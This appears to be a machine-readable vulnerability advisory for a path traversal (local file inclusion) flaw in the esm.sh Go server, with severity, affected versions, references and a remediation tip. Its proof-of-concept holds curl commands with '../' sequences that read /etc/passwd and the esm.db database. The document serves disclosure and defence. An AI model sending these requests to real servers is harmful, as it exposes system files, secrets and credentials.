CVE-2025-59341: Github.com/esm dev/esm.sh Esm.sh Has File Inclusion Issue Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-49pv-gwxp-532r",
  "modified" : "2025-09-26T16:14:27Z",
  "published" : "2025-09-17T18:39:20Z",
  "aliases" : [ "CVE-2025-59341" ],
  "summary" : "esm.sh has File Inclusion issue",
  "details" : "## Summary\n\nA Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).\n\n**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.\n**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.\n\nVulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168\n\n---\n\n## Proof of Concept\n\n1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`\n\n\n```json\n{\n  \"port\": 9999,\n  \"npmRegistry\": \"https://registry.npmjs.org/\",\n  \"npmToken\": \"******\"\n}\n\n```\n\n2. Trigger the LFI vulnerability by sending this command below to read a local file\n\n```bash\n# read /etc/passwd\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'\n\n# or read the database esm.db file\ncurl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'\n```\n\n<img width=\"3338\" height=\"1906\" alt=\"poc-image\" src=\"https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811\" />\n\n\n---\n\n## Remediation\n\nSimply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "136"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59341"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3962"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-23" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-17T18:39:20Z",
    "nvd_published_at" : "2025-09-17T18:15:53Z"
  }
}